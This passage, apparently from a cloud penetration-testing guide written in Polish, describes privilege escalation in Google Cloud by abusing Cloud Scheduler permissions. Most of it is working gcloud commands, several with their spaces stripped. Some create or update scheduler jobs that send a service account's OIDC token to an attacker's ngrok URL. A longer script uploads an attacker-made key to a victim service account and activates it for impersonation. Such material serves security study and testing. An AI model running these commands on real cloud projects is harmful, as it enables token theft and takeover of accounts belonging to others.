Napastnik z tymi uprawnieniami mógłby wykorzystać Cloud Scheduler do uwierzytelnienia zadań cron jako konkretne konto usługi. Tworząc żądanie HTTP POST, napastnik planuje działania, takie jak tworzenie zasobnika Storage, do wykonania pod tożsamością konta usługi. Ta metoda wykorzystuje zdolność Scheduler'a do kierowania na końcówki *.googleapis.com i uwierzytelniania żądań, co pozwala napastnikowi manipulować końcówkami Google API bezpośrednio za pomocą prostego polecenia gcloud.
Skontaktuj się z dowolnym API google za pomocą googleapis.com z nagłówkiem tokena OAuth
Aby eskalować uprawnienia, atakujący po prostu tworzy żądanie HTTP skierowane do żądanego API, podszywając się pod określone Konto Usługi
Ekstrahowanie tokena konta usługi OIDC
gcloudschedulerjobscreatehttptest--schedule='* * * * *'--uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app'--oidc-service-account-email111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']# Listen in the ngrok address to get the OIDC token in clear text.
Jeśli musisz sprawdzić odpowiedź HTTP, możesz po prostu rzucić okiem na logi wykonania.
Podobnie jak w poprzednim scenariuszu, możliwe jest aktualizowanie już utworzonego harmonogramu, aby ukraść token lub wykonać akcje. Na przykład:
gcloudschedulerjobsupdatehttptest--schedule='* * * * *'--uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app'--oidc-service-account-email111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']# Listen in the ngrok address to get the OIDC token in clear text.
Inny przykład przesłania klucza prywatnego do SA i podszywania się pod niego:
# Generate local private keyopensslreq-x509-nodes-newkeyrsa:2048-days365 \-keyout /tmp/private_key.pem \-out /tmp/public_key.pem \-subj "/CN=unused"# Remove last new line character of the public keyfile_size=$(wc-c</tmp/public_key.pem)new_size=$((file_size-1))truncate-s $new_size /tmp/public_key.pem# Update scheduler to upload the key to a SA## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMANDgcloudschedulerjobsupdatehttpscheduler_lab_1 \--schedule='* * * * *' \--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \--message-body="{\"publicKeyData\": \"$(cat/tmp/public_key.pem|base64-w0)\"}" \--update-headers "Content-Type=application/json" \--location us-central1 \--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com# Wait 1 minsleep60# Check the logs to check it workedgcloudloggingread'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"'--limit10--project<project-id>--format=json## If any '"status": 200' it means it worked!## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400# Build the json to contact the SA## Get privatekey in json formatfile_content=$(<"/tmp/private_key.pem")private_key_json=$(jq-Rn--argstr"$file_content"'$str')## Get ID of the generated keygcloudiamservice-accountskeyslist--iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com# Create the json in a file## NOTE that you need to export your project-id in the env var PROJECT_ID## and that this script is expecting the key ID to be the first one (check the `head`)export PROJECT_ID=...cat>/tmp/lab.json<<EOF{"type": "service_account","project_id": "$PROJECT_ID","private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com |cut -d " " -f 1|grep -v KEY_ID |head -n 1)","private_key": $private_key_json,"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com","client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com |grep oauth2ClientId |cut -d "'" -f 2)","auth_uri": "https://accounts.google.com/o/oauth2/auth","token_uri": "https://oauth2.googleapis.com/token","auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs","client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com","universe_domain": "googleapis.com"}EOF# Activate the generated keygcloudauthactivate-service-account--key-file=/tmp/lab.json